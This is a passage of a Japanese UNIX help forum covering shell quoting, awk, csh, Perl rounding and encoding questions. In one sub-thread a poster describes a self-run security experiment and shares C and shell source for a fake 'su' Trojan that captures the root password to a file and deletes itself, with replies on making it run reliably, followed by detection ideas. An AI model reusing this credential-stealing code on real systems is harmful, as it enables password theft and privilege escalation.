こんにちは。突然ですが質問させて下さい。 プロセス番号0〜2の (swapper) /sbin/init -- (pagedaemon) プロセスの役割は何でしょうか? |
質問いたします。下記のコマンドの条件部分($NF ~ /'"$1"')の意味がいまいち理解できないので(「最後のフィールドの中から1フィールド目の値を含むもの」というところまでわかるのですが・・・)、ご教示ください。 ps -el | awk '($NF ~ /'"$1"'/) {print $4}' mypid =$$ |
今更ですが、わかるものだけ回答しておきます。 >>2901 かなっぺ > ということは、データのバッファリングに40分かかっていると > いうことなのでしょうか? web サーバが全データを受信し終わってから CGI プログラムを 起動しているのでしょう。本当にそうなのかどうかは、その 40分の 間に web サーバのプロセスのメモリ使用量がどう変化しているか 観察するといいでしょう。 >>2903 tomu > grepコマンドである検索文字列と、その次の行を検索すると言うことは、 > 出来ないでしょうか? GNU grep ならできますが、僕の試した限りでは Solaris 標準の grep でこれができませんでした。何かやり方はあるのでしょうか? grep で改行コードをひっかけられば解決なんですが。 >>2910 NT > BBSなどでバイナリファイルのUPLoadはどのように送ればよいのでしょうか テキストファイルのアップロードと全く同じでいけるはずです。 >>2913 (^^) > (swapper) > (pagedaemon) スワップ制御とページング制御をする (カーネル内の) プロセスです。 > /sbin/init -- http://X68000.startshop.co.jp/~68user/unix/pickup?init をどうぞ。 >>2914 G OS のバージョンと ps -el の結果とがないと、これの意図するところは わかりません。 > ps -el | awk '($NF ~ /'"$1"'/) {print $4}' mypid =$$ awk が解釈するのは '($NF ~ /' と '/) {print $4}' だけで、$1 の部分はシェルが 1つ目の引数に置換するはずです。 |
>>2915 68user 情報不足で申し訳ございませんでした。しかし、私の疑問は解決致しました。 $1はフィールドではなく、スクリプトの引数を示すということですね。 ありがとうございました。 |
下記のスクリプトはHP-UXの/etc/rc.configファイルなのですが,${CFG_FILE##*/}と${fname##*[.,~\#]}の解読ができません。 どうかご教示ください。よろしくお願い致します。 for CFG_FILE in /etc/rc.config.d/* /etc/TIMEZONE do fname=${CFG_FILE##*/} if [ -f $CFG_FILE -a "$fname" !="core" -a "${fname##*[.,~\#]}" = "$fname"] then . $CFG_FILE fi done |
今日簡単なタテケイの問題がありました。タブ区切りで ブック名 ファイル名 数値A 数値B 数値C ・・・ というファイルをブック名ごとにサマリーし、やはりタブ区切りで ブック名 Σ数値A Σ数値B Σ数値C ・・・ というファイルを作らなければならなかったのですが、 while(<STDIN>) { ($bname = $fname, $A, $B, $C) = split; $data{$bname}{A} += $A; $data{$bname}{B} += $B; $data{$bname}{C} += $C; } for $bname (sort keys %data) { print join, /\t/, $bname, $data{$bname}{A},$data{$bname}{B},$data{$bname}{C},"\n"; } とか書いたらどうしても数値が若干少なくなってしまいます。 数万行あって、ほとんどの行は合ってるんだけど 全体の数字が少ない、、。 しかも、カラム A と B は合ってるのに C だけ少ない。 よくよく見るとファイル名に空白が入ってて、 split /\t/ にしないといけなかったんでした。 しかも、ファイル名が空白のデータは特定のカラムにしか データがなかった。 ふつうこんな間違い方はしませんが、同時に複数の問題が 発生していて、すごくハマりました(泣) |
はじめまして。さっそくなんですが質問です。 掲示板CGIを改造してメール送信機能をつけたのですが、改行が反映されていなかったり、題名が文字化けしたりしてます。 ソースはhttp://www.starcity.ne.jp/~hide/0test/treebbs+.txtです。 元はhttp://www.starcity.ne.jp/~hide/0test/treebbs-.txtです。 #------------------メール送信機能-------------------------# open(MAIL,"| /usr/sbin/sendmail -t") || &error("送信できません。"); print MAIL <<"_MAIL_"; From: ars\@xx.xx To: hide_mkhs\@yahoo.co.jp MIME-Version: 1.0 Subject: A-train railway service X-Mailer: Sendmail Content-type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit 投稿がありました。 名前:$name 題名:$subject メールアドレス:$mail ホームページ:$url メッセージ:$msg --------------------------------------- 投稿者情報 IP:$ip ホスト:$host --------------------------------------- A-train railway service(http://www.starcity.ne.jp/~ars/) _MAIL_ close(MAIL); #--------------------メール送信機能------------------------# こう書き加えたんですが… いま題名はA-train…ですが、日本語にすると文字化けしてしまい、来たメールは 投稿がありました。 名前:みー 題名:新規 メールアドレス:ars@starcity.ne.jp ホームページ:http://www.starcity.ne.jp/~ars/ メッセージ:<b>タグは‥?</b>どうでしょう? --------------------------------------- 投稿者情報 IP:218.133.200.111 ホスト:YahooBB218133200111.bbtec.net --------------------------------------- A-train railway service(http://www.starcity.ne.jp/~ars/) のように改行が反映されてなく、タグもみえみえです。しかも、レスの記号をあらわす">"は>となってしまいます。 どうすればいいのか教えてください。 |
>>2919 みー メールは HTML じゃなくてプレーンテキストなので、 タグが見え見えだったり改行がそのままだったりするんでしょう。 HTML 形式を維持するなら HTML メールをサポートしてるメーラーに HTML 形式のメールを送ればいいんじゃないでしょうか。 (その場合ヘッダはどうなるんでしょうね。 よくわかりません。よく広告とかで壁紙がついてきたりするから、 できることはわかっているのだが、、) 題名が文字化けなのは、ISO-2022-JP を正しく読み込んで ないからでしょう。ブラウザーが送ってくる文字はさまざまなので、 jcode.pl あたりで変換するとか。 |
こんにちは。 ちょっとわからないことが有ります。 ご存知の方は教えていただけますでしょうか。 cshで、 set str = "abc def" (←abcとdefの間は全角スペース) echo $stf とすると、 abc def (←abcとdefの間は半角スペース) と表示されてしまいます。 なんとかsetで設定した通りに(全角スペースをそのままに)出力したいのですが、 どのようにすれば良いでしょうか? |
>>2921(訂正) echo $stf ではなく echo $str でした。 |
>>2917 G > 下記のスクリプトはHP-UXの/etc/rc.configファイルなのですが, > ${CFG_FILE##*/}と${fname##*[.,~\#]}の解読ができません。 HP-UX の sh は知りませんが、FreeBSD の sh では ${parameter##word} 最長前置パターンの削除: まず word が展開され、その結果をパターン として扱います。パラメータ parameter の左から、パターンに一致する 最長の部分を削除した文字列に置換されます。 とあるので、多分同じでしょう。 > ${CFG_FILE##*/} basename(1) と同じでしょうね。 > ${fname##*[.,~\#]}" = "$fname" ファイル名に . , ~ # が含まれていないことをチェックしている のだと思います。 こういう場合は sh -x /etc/rc.config などとして、どういう ふうに解析されているのかを調べるというのも一つの手です。 >>2921 yuk > abc def (←abcとdefの間は半角スペース) > と表示されてしまいます。 そういう処理をする csh があるとは知らなかったので、OS 名を 教えてください。で、本題ですが echo "$str" でいけるんじゃ ないでしょうか。 |
2923> ご返答ありがとうございました。 sh -x コマンドは初めて知りました。 これから活用させていただきます。 |
あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか? |
会社で UTF-8 と Big5(台湾)の変換ソフトが必要になったので、 ローカルに Perl 5.8 を入れてみました。 (ちょっとテストで失敗したんだけど、よくわかんないので 入れてしまつた ;;;) === big5 => UTF-8 === #! perl use encoding 'utf8', STDIN=>'big5'; while (<STDIN>) { print; } というのはうまくいったっぽいんですが、 === UTF-8 => big5 === #! perl use encoding 'big5', STDIN=>'utf8'; while (<STDIN>) { print; } というのは UTF-8 側に BOM(efbbbf)があると そこがそのまま出てきます。 use encoding 'big5', STDIN=>'utf8'; を使わないで Encode の変換関数を明示的に呼ぼうと思うんですが (で、BOM はもしあったら事前にカットする) うまくいきませんでした。つたない質問ですみませんが 何かわかりましたらご教示ください。 |
はじめまして。 c言語で書かれたプログラムを使って, .bash_profileのPATHを変更したいのですが, なかなかうまくいきません.どなたか教えていただけないでしょうか. ソースは以下のとうりです. #include<stdio.h> #include<stdlib.h> main(int argc, char *argv[]) { char buf[100]; sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin"); system(buf); exit(1); } コンパイルは通って,実行時にエラーは出ませんでした. bufに文字列はしっかり送られていました. export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin とターミナル上で 打つと,しっかりPATHは変更されました. よろしくお願いします. |
例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る簡単な方法はありませんでしょうか? /HP-UX |
はじめまして。こんばんは。UNIXについて質問があります。 与えられた引数を、そのままエコーバックするシェルスクリプトを作成しいのですが、どうしたらいいかわかりません。 アドバイスを頂けたら幸いです。よろしくお願いします。 |
>>2926 ふくし すいませんが、わかりません。 # 僕の知識は perl-5.00503 で止まっているので…。 >>2927 kiki system は内部で fork して、子プロセスが sh を実行します。 > sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin"); > system(buf); によって、子プロセスが実行する sh の環境変数は変更されますが、sh は すぐに終了してしまうので親プロセス (正確には親の親プロセス)に環境変数は 渡りません。 ではどうすればよいか、という話になりますが、 > .bash_profileのPATHを変更したいのですが, なぜそれをやりたいのか、ここで本当にやりたいのは何かを考えてみると 対策も見えてくるかもしれません。 >>2928 G > 例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る > 簡単な方法はありませんでしょうか? こんな感じでしょうか。 % echo /aaa/bbb/ccc | sed 's|\(/[^/]*\).*|\1|' /aaa >>2929 NAGISA > 与えられた引数を、そのままエコーバックするシェルスクリプト そういう場合は「エコーバック」とは言わないような気がしますが、 #!/bin/sh echo $@ とか、 #!/bin/sh for i in $@; do echo $i done とか。 |
>>2925 なお@HP-UX11 > あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか? ps コマンドなぞどうでしょうね。 |
>>2931 68userさん お返事ありがとうございます.kikiです. > .bash_profileのPATHを変更したいのですが, セキュリティに関する勉強でsuコマンドになり済ますトロイ について勉強していまして,実際に自分のPCで実験しています. suコマンドを使うユーザのアカウントを入手してあるという場合 を想定して,自分の一般ユーザ権限から自分の管理者権限のパス ワードを盗むという実験です.手順は 1.あるディレクトリにトロイをおいて 2.PATH変更,トロイ置場を先に検索するようにする. 3.コマンドsuでsuトロイ起動.盗んだパスワードをファイルに 書き込んで,トロイは自分を削除する. 4.suコマンドをもう一度実行,本物のsuコマンドが起動 です.3.の手順までは問題なく進みましたが,4.を実行すると bash: /suトロイ置場/suトロイ : そのようなファイルやディレクトリはない といわれてしまいました. suトロイは消えていたので,本物のsuを探しに行ってくれるはずなのですが, どうやら本物のsuを探しにいってくれないようなのです. もちろんPATHは本物のsuにも通っています. そこで,suトロイの中でPATHを変更しようと思ったのです. |
>>2930 68user いつもありがとうございます。 ただ感謝と尊敬の念でいっぱいです。 また、宜しくお願いします。 |
>2930 さん、ありがとうございます。 5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、 結構面白いっぽいですよ。 (インストールで失敗してるぼくの言うことじゃないが ;;; |
>>2932 kiki シェルを置き換えたのか、~/.bash_profile を書き換えて 自作 su を起動するようにしたのかよくわかりませんが、 > 2.PATH変更,トロイ置場を先に検索するようにする. ができているなら、後は /usr/bin/su を起動すればいいだけ だと思います。そこで PATH が出てくる理由がよくわかりません。 >>2934 ふくし > 5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、 > 結構面白いっぽいですよ。 うっかりプログラミング Perl 第3版 (perl-5.6 用) なぞ買って しまいましたが、ぜひ利用したいのは our ですね。次点はちょっと 安全になった open。 それ以外はまーいいやって感じです。 ときに our って C でいうところの int get_num(){ static int num=1; return num++; } main(int argc, char *argv[]) { printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); } のような static だと思い込んでいたんですが、今 本を読み直してみると なんか違うような気も。 あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、 順番を保持するハッシュ (セットした順に keys が返ってくる) って 導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、 見つけられない。 # キー固定のハッシュは Class::Struct を使えばいいのかな。 |
>>2935 68user > あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、 > 順番を保持するハッシュ (セットした順に keys が返ってくる) って > 導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、 > 見つけられない。 みびょーに違う話のような気もしますが、perl-5.005_03 でも $john=[{age=>1, eyes=>2, weight=>3}, 47, "brown", 186]; print "$john->{eyes}\n"; print "$john->[2]\n"; てな書き方ができるんですねぇ。これは知らなかった。 |
すいません、今度は Perl 5.005_03 の話です ;;; 経理システムで、 ・単価はドル建てだが、セント未満の端数がありうる (1個につき 0.001 ドルとか) ・個数は「個」だが、1個未満の端数がありうる (0.1 個とか) という条件で、単価x個数=売上を、 小数点以下第3位で切り捨て(小数点以下第2位まで)で求めよ、 という問題で 「100倍して int して100で割る」ということをしていました。 #! perl $tanka = 10000.88; # ドル $kosuu = 1; # 個 $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍 print "uriage x 100 = $uriage100\n"; $uriage = int($uriage100)/100; print "uriage = $uriage\n"; しかしこうすると、int(1000088) は 10000088 になるので、 uriage x 100 = 1000088 uriage = 10000.87 となります。もっとも手軽な回避方法はなんでしょうか。 もしお分かりでしたらご教示ください。 |
cshrcファイルの内容について皆さんにお聞きしたいです。 source .cshrcコマンドを出すときにUnmatchedといわれていますけど、 どこに問題があるかは良く分かりません。 cshrcの内容は以下のようになります************* # .cshrc # User specific aliases and functions # alias rm 'rm -i' alias ls 'ls --color' alias cp 'cp -i' alias mv 'mv -i' #setenv PATH "/usr/sbin:/sbin:$PATH" setenv NCARG_ROOT "/usr/local/ncarg" setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3 :/home/hongbin/rams4.3/chq1/plvrams:$PATH" #setenv LD_LIBRARY_PAYH "/usr/FFC/lib" #setenv MANPATH "/usr/FFC/man:$NCARG_ROOT/man" setenv PGI "/usr/pgi" set path = ( $PGI/linux86/bin $path ) if($?MANPATH ==1) then setenv MANPATH $PGI/man:$MANPATH else setenv MANPATH $PHI/man endif #setenv MANPATH "$MANPATH":$PGI/man setenv LM_LICENSE_FILE "$PGI/license.dat" setenv MANPATH "$PGI/man:$NCARG_ROOT/man" set prompt='[%n@%m %c]#' ***************** どこが間違っているでしょうか。 よろしくお願いします。 |
>>2937 ふくし sprintfは? |
>>2938 初心者 この書き方は出来るのかな??複数行にわたるクオート setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3 :/home/hongbin/rams4.3/chq1/plvrams:$PATH" |
>>2937 ふくし 勘定系ってやっぱり BCD だったりするんだろうかと思いつつ、 こういうときの常套手段を知らないので、しばし傍観。 >>2938 初心者 csh -fv .cshrc しましょう。あるいは、1行ずつ手でタイプ (あるいはマウスでコピペ) しましょう。どこに問題があるのか わかります。 |
>>2940 名無し さん、ありがとうございます。 sprintf は四捨五入なんですね。 ということはあらかじめ 0.005 を引いておけばよい? −−−−−−−−−−プログラム−−−−−−−−−−−−−−>8 #! perl while (<DATA>) { chomp; $tanka = $_; # ドル print "tanka = $tanka "; $tanka -= 0.005; # 切り捨てたいから $kosuu = 1; # 個 $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍 $uriage = $uriage100 / 100; $uriage = sprintf "%.2f", $uriage; print "uriage = $uriage\n"; } −−−−−−−−−−プログラム終わり−−−−−−−−−−−>8 実行結果。 > keisan tanka = 10000.88 uriage = 10000.88 tanka = 10000.881 uriage = 10000.88 tanka = 10000.882 uriage = 10000.88 tanka = 10000.883 uriage = 10000.88 tanka = 10000.884 uriage = 10000.88 tanka = 10000.885 uriage = 10000.88 tanka = 10000.886 uriage = 10000.88 tanka = 10000.887 uriage = 10000.88 tanka = 10000.888 uriage = 10000.88 tanka = 10000.889 uriage = 10000.88 なんかできてるっぽい、、? __DATA__ 10000.88 10000.881 10000.882 10000.883 10000.884 10000.885 10000.886 10000.887 10000.888 10000.889 |
>>2942 ふくし これなんかどうでしょうね。 http://www.harukaze.net/~mishima/perl/faq/newbiefaqpgm.html#5 > $uriage = $uriage100 / 100; 最後に 100 で割るのがなんかおそろしいなぁ。 値によっては循環小数になったりしないのかな。循環小数になっても %.2f してるから OK? |
すいません、お騒がせしております ;;; 100 で掛けたり、割ったりしているのは、 int を使いたかったからで、 sprintf を使っている以上、必要ないですね。 (切り捨ての場合) while (<DATA>) { chomp; $tanka = $_; # ドル print "tanka = $tanka "; $tanka -= 0.005; # 切り捨てたいから $kosuu = 1; # 個 $uriage = sprintf "%.2f", $tanka * $kosuu; print "uriage = $uriage\n"; } 四捨五入の場合は 0.005 を引くのをやめるとか。 |
だめでした ;;; sprintf "%.2f", $a; に、$a に 10000.005 を渡すと、10000.00 になります。 (環境に依存しまくるかな。FreeBSD 2.2.8_Release、Perl 5.005_03) しょうがないので . で split して、、いろいろしようと思います ;;; ちなみに 68User さん、BCD というのはモジュールありますか? CPAN で検索したら EBCDIC_convert なんとかというのしか 見つかりませんでした ;;; |
一人で駄投稿を繰り返して大変申し訳ありません。 けっきょく 100 倍して 0.5 を足して 100 で割る形式に戻し、 変数をすべて Math::BigFloat にしました。 なんとなくできているような気がしますが、 これぐらいの時間帯になってくると 「いったい何ができてるってことなのか」わからなくなってくるので ;;; 明日また考えます。X68000 さん、名無しさん、ありがとうございました。 何かありましたらよろしくお願いします。 |
家に帰って思ったけど dc コマンドを `` で囲んでもよかったかも ;;; |
>>2947 ふくし もう解決してらっしゃる様ですが、最初のソースの $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍 を $uriage100 = $tanka * $kosuu * 100 + 0.05; # 売上の 100 倍 みたいにして、端数の発生しない桁(この例なら0.01セントの桁)で 適当な数字を足してやると良いんじゃないでしょうか。 端数の発生しない桁が決められない場合はダメですが・・・。 #ぱっとみて思いついただけなんで全然的外れかもしれません |
はじめまして。FreeBSD4.6.2-RELEASEとXFree86 4.2をインストールして、XDMからログインしようとしているのですが、rootではログインできるのですが、一般ユーザだとログインできたと思ってもすぐにもとのログイン画面に戻ってしまいます。.xsessionは作っていないので記述ミスはないと思うのですが、なぜ一般ユーザだとログインできないのか分かりません。どなたか対処法を知っている方がいましたら教えていただきたいのですが。 よろしくお願いします。 |
解決しました。 |
>>2945 ふくし > ちなみに 68User さん、BCD というのはモジュールありますか? binary decimal で検索したら、これがひっかかりました。 http://search.cpan.org/author/JPEACOCK/Math-FixedPrecision-0.21/FixedPrecision.pm |
>68userさん,お返事が送れて申し訳ありません.kikiです >> 2.PATH変更,トロイ置場を先に検索するようにする. >> ができているなら、後は /usr/bin/su を起動すればいいだけ >> だと思います。そこで PATH が出てくる理由がよくわかりません。 たしかにcshなどのシェルはsuトロイが動いた後にsuコマンド を打ち込むと,本物のsuが問題なく立ち上がるのですが, bashの場合,suトロイが動いた後にsuコマンドを打ち込むと, bash:/suトロイ置場/suトロイ:そのようなファイルやディレクトリはない といわれてしまいました. suトロイは消えていたので,本物のsuを探しに行ってくれるはずな のですが,どうやら本物のsuを探しにいってくれないようなのです. もちろんPATHは本物のsuにも通っています.そこで, suトロイの中でPATHを変更しようと思ったのです. こちらも理由を考えていたのですがわかりません. バージョンは bash-2.04-1v14です. 何か,こころあたりがございましたら, 御教授願います.よろしくお願いします. |
>>2952 kiki 具体的に何をやっているのかが全く見えないです。遠回しな 書き方をしないでスクリプトを提示するなりしてください。 なお、FreeBSD 4.7-RELEASE+bash-2.05.0(1)-release では 成功しました (意図通りの挙動かどうかはわかりませんが)。 bash-2.05$ PATH=.:$PATH bash-2.05$ cat su #!/bin/sh echo -n "(Trojan su)Password: " stty -echo read a stty echo echo "" echo "Sorry (Your password [$a] is captured!)" mv su su.bak bash-2.05$ type su su is hashed (./su) bash-2.05$ su (Trojan su)Password: Sorry (Your password [hoge] is captured!) bash-2.05$ which su /usr/bin/su bash-2.05$ su Password: Sorry |
>>68user様 お返事ありがとうございます.kikiです. 申し訳ありません.トロイのソースを書き込ませていただきます. cで書かれたトロイを使っています. トロイの置き場所は /home/koko/.oite です. #include <stdio.h> #include <stdlib.h> #define SU_PASS "/tmp/.rewt" main (int argc, char *argv[]) { char *key; char buf[40]; FILE *fd; key = (char *)getpass ("Password:"); fd = fopen(SU_PASS,"w"); fprintf(fd, "pass: %s\n", key); fclose(fd); printf ("su: incorrect password\n"); sprintf(buf, "rm /home/koko/.oite/%s", argv[0]); system(buf); exit (1); } よろしくお願いします. こちらでも引続き原因を調べてみます. |
>>2954 kiki つまりやってることは >>2953 68user のスクリプトと同じなわけで、こちらで実行すると 2回目の su で /usr/bin/su を実行してくれました。 ということは bash が原因なわけで、ハッシュテーブルを再構築 しない設定になっているのでは、などを疑うべきなんでしょうけど、 bash は使ってないのでよくわかりません (勝手にハッシュテーブル 再構築してくれるんじゃないのかな?)。そこらへん何か設定がある んでしたっけ。 あとは bash の最新版を入れてみるとか。 |
>>2954 kiki bash-2.03.0(1)-release と bash-2.05a.0(1)-release でやって みましたが、どうやら PATH=.:$PATH だと OK (/usr/bin/su が実行される) ですが PATH=/foo/bar:$PATH と絶対パスで設定すると /foo/bar/su が hash に残っているようですね。 マニュアルを読む限りでは bash の仕様のような気がしますし、相対 パスのコマンドが hashing されていた場合は (カレントディレクトリが 移動しているかもしれないので) 再度 PATH を検索する、というのは 納得のいく挙動です。 # でも、もしかしたら bash のバグかもしれません。 解決策としては % shopt -s checkhash があげられるでしょうけど、これだと操作者の協力が必要なので、トロイの su を作るという目的を第一に考えるのであれば、 1. PATH=../../../../../../../../../../../../home/foo/bar:$PATH とする。 カレントディレクトリの階層があまりに深くなければ、これでいける。 2. トロイ版 su の中で /usr/bin/su を exec する といったところでしょうが、普通は 2 のような気がします (作ったことないのでわからんけど)。 |
みなさん、計算の問題でフォローアップありがとうございます。 とりあえず Math::BigFloat で快適です。 3471943.48 および 3471943.488 という数を 0 と比較すると おかしいという現象があって一瞬ひやっとしましたけど、 5.005003 ではバグってるけど 5.6.0 では直ってるようでした。 ■ソース #! perl use Math::BigFloat; while (<DATA>) { chomp; $num = Math::BigFloat->new($_); if ($num >= 0) { print "$num is larger-equal than 0\n"; } else { print "$num is not larger-equal than 0\n"; } $cmp = $num->fcmp("0"); print "compare $num vs 0: $cmp\n"; } __DATA__ 3471943.488 3471943.48 3 ■5.005003 での実行結果 3471943.488 is not larger-equal than 0 compare 3471943.488 vs 0: -1 3471943.48 is larger-equal than 0 compare 3471943.48 vs 0: -1 3. is larger-equal than 0 compare 3. vs 0: 1 ■5.6.0 での実行結果 3471943.488 is larger-equal than 0 compare 3471943.488 vs 0: 1 3471943.48 is larger-equal than 0 compare 3471943.48 vs 0: 1 3. is larger-equal than 0 compare 3. vs 0: 1 |
>>2956 68user様 またお返事が送れて申し訳ありません.kikiです. お返事ありがとうございます.早速ためしてみます. この質問を通じて,いろいろ知らないこともわかったので その点でもとても勉強になりました. ありがとうございました. |
初めてになりますが、質問がありますので、お力添えをお願いします。 プログラムの実行時間を計るために、timeコマンドがありますが、このときに出力される結果を、指定したファイルに書き込む方法はないでしょうか? リダイレクトを使って、 time 実行するコマンド > ファイル名 としても、ファイルに結果が出力されませんでした。プログラムの実行時間を書き込むための良いアドバイスをお願いします。 |
>>2959 KENT1 お使いの OS とシェルを必ず書いてください…と言うのも疲れたので、 てきとーに試してみてください。 /usr/bin/time ls >& file /usr/bin/time ls >file 2>&1 env TERM= csh -c "time ls" > file env TERM= bash -c "time ls" > file |
初めまして。初心者なので質問自体が意味不明かもしれませんが、 システムコールでCPU使用量や、ディスク使用量などを取得する方法を教えてください。dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が違ってくるので、、、ちなみに使用言語はC、OSはLinuxでお願いします。 |
>>2961 1202 > ディスク使用量 statfs(2), fstatfs(2) > CPU使用量 プロセス単位の情報かシステムの情報を取るのかわかりませんが、 Linux ならどちらにせよ /proc 直読みなのかな? あるいは /proc を 読むような API が用意されているかもしれませんが、わかりません。 後は man -k stat、man -k cpu、man -k disk などを活用してください。 |
>>2962 68user ありがとうございます。 早速試してみます。 |
kikiと申します. 68user様,先日はお世話になりました. お聞きしたいことがあります. 私は今,シェルでpsコマンドを打ち込んだら 標準出力で"psコマンドがうちこまれました." と出力させるプログラムを作ろうとしています. この時に,シェルからpsコマンドが打ち込まれたかどうかを 判定するプログラムに,シェルで打ち込まれたコマンドを渡して 判定させたいのですが,このような事は,プロセス間通信や デーモンを使うのでしょうか? 皆様のアドバイスをよろしくお願い致します. また,簡単なデーモンのソースがあるページや, デーモンを作るにあたってやくだつページを ご存知でしたら教えてください. よろしくお願いします. |
>>2964 kiki 前にも書きましたが目的は何ですか? kiki さんの質問は いつも情報量が足りないと思います。 目的を書かないから前提条件がわからない。前提条件が わからないから、例えば 「利用者にばれてもいいのか」 「シェルのソースをいじるというのはアリなのか」 などもわからない (当然その答えによって解は異なります)。 > また,簡単なデーモンのソースがあるページ http://www.adl.nii.ac.jp/~moro/unix-programmer/faq-j_2.html#SEC16 など。 >>2961 1202 > dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が > 違ってくるので、、、 ちなみに僕ならば面倒なので GNU df を Solaris に 入れます (仕事であれば特に)。 |
2965>>68user様 毎回すみません. 目的は前回の質問でふれたsuトロイの痕跡の検出なんです. suトロイも本物のsuも.bash_historyのなかにコマンドが残りますが, /var/log/messageでは,本物のsuの痕跡しか残らない事を利用して, suトロイをリアルタイムに近い形で検出できないか?と考えたのです. そこで,シェルからsuコマンドが打ち込まれたかどうかを 判定するプログラムに,シェルで打ち込まれたコマンドを渡して 判定させ,suとコマンドが 実行されているようならば, /var/log/messageをみて,suの痕跡があるかどうかを調べれば 検出できるだろうと考えたのです. とりあえずsuコマンドが打ち込まれたかどうかを判定する 部分をまず作ろうと思いましたが,この時にプロセス間で データのやりとりが必要になったり,デーモンも使うのかな と思い,質問させていただきました. 「利用者にばれてもいいのか」 >はい,ばらせる事ができるならば是非そうしたいです. 「シェルのソースをいじるというのはアリなのか」 >はい,ありです. 毎回わかりづらい書き込みをして申し訳ありません. ご教授をお願い致します. |
>>2966 kiki 今度は検出なわけですね? > /var/log/messageでは,本物のsuの痕跡しか残らない事を利用して, syslog(3) や logger(1) を使えば誰でも su と同様にログに記録する ことはできますので、これだけでは正確に判断できません。 では他に判断する方法はあるかというと、決定的なものはないです。 結局は「何をもって本物と判断するか」「何を持って悪意のあるプロ グラムと判断するか」に帰着するわけで。興味があればアンチウィルス ソフトがウィルスを検出する手段を調べてみるとよいでしょう。 で、それとは別に「どうやって su がタイプされたことを検出するか」という 話ですが、ウィルスやトロイの木馬にやられるときというのは、つまるところ 「プログラムを実行したとき」なわけで、exec(2) の実行直前に su を実行 しようとしているかどうか、というチェックをすればよいでしょう。 プロセス間通信やデーモンは「なぜそれを使う必要があるか」を説明でき ないなら、使う必要はないということです。 別の解としては、システムコールの発行を hook して安全性をチェック、 というのもありますが、UNIX でこういうのってできるのかなーと思って 調べてみたら、なんかできるようですね。 http://www.caj.co.jp/support/etrustac_faq.htm Q6: eTrust Access ControlのSoft Hook技術とは何ですか? カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を 置き換えているのか…(できるのかな?) # Windows なら SetWindowsHookEx で簡単なんですけど。 |
>>2967 68user様 お返事ありがとうございます. >syslog(3)やlogger(1) を使えば誰でも su と同様にログに記録することはできます これはsuトロイを実行した時にも/var/log/messageに本物のsuの認証失敗のメッセージ を残せる,という事なんですよね.これは,suトロイ内でsyslog()関数などを使って, syslogdにメッセージを渡すという事なのでしょうか? P.S. システムコールで見分ける,ですね. 確かに,suトロイと本物のsuだとやっている事はちがうから 見分けられるかも知れませんね.アドバイスありがとうございます. |
>>2967 68user様 何回も申し訳ありません.kikiです. >exec(2)の実行直前にsuを実行しようとしているかどうか、というチェックをすればよいでしょう。 これは,システムコールのチェックを自動化させて行なえばよい, という事なのでしょうか? 基本的な事で申し訳ありません. |
いつもすいません、質問です。 以下のようなプログラムを Perl 5.8/FreeBSD 2.2.8 release で書きたいです。 カンタンにいうと、入れ子になったタグで囲まれた部分だけを 別ファイルに抜き出し、元ファイルからは削除する、です。 順序を保存して抜く方法と、 保存しないで抜く方法とあると思いますが、 どちらでもかまいません。 (前者の方がいいかなぁ、、) 入力ファイル: out1 <tag a> in1 <tag b> in2 <tag c> in3 </tag> in4 </tag> in5 </tag> out2 <tag d> in6 <tag e> in7 </tag> in8 </tag> out3 <tag f> in9 </tag> out4 出力ファイル例1:(順序を保存して抜く) ファイルA:(タグで囲まれた部分のみを抜いたもの) <tag a> in1 <tag b> in2 <tag c> in3 </tag> in4 </tag> in5 </tag> <tag d> in6 <tag e> in7 </tag> in8 </tag> <tag f> in9 </tag> ファイルB:(ファイルAで抜いた残り) out1 out2 out3 out4 出力ファイル例2:(順序を保存しないで抜く) ファイルA:(タグで囲まれた部分のみを抜いたもの) <tag c> in3 </tag> <tag b> in2 in4 </tag> <tag a> in1 in5 </tag> <tag e> in7 </tag> <tag d> in6 in8 </tag> <tag f> in9 </tag> ファイルB:(ファイルAで抜いた残り) out1 out2 out3 out4 よろしくお願いします。 |
補足です。 この tag というのは全部同じタグです。 ただオープンタグにかかれている a, b, ... という アトリビュートが全部違います。 |
さらに補足。(俺って説明下手だな、、;;; ファイルには <tag> 以外のタグも存在します。 <aaa ???>〜</aaa>、<bbb ???>〜</bbb> などです。 その中で下の処理の対象になるのが <tag> だけということです。 <tag ???>〜</tag> の中に <xxx ???>〜</xxx> がある場合は、 それも抜いて書き出します。 問題の定義もなかなか奥が深い。 |
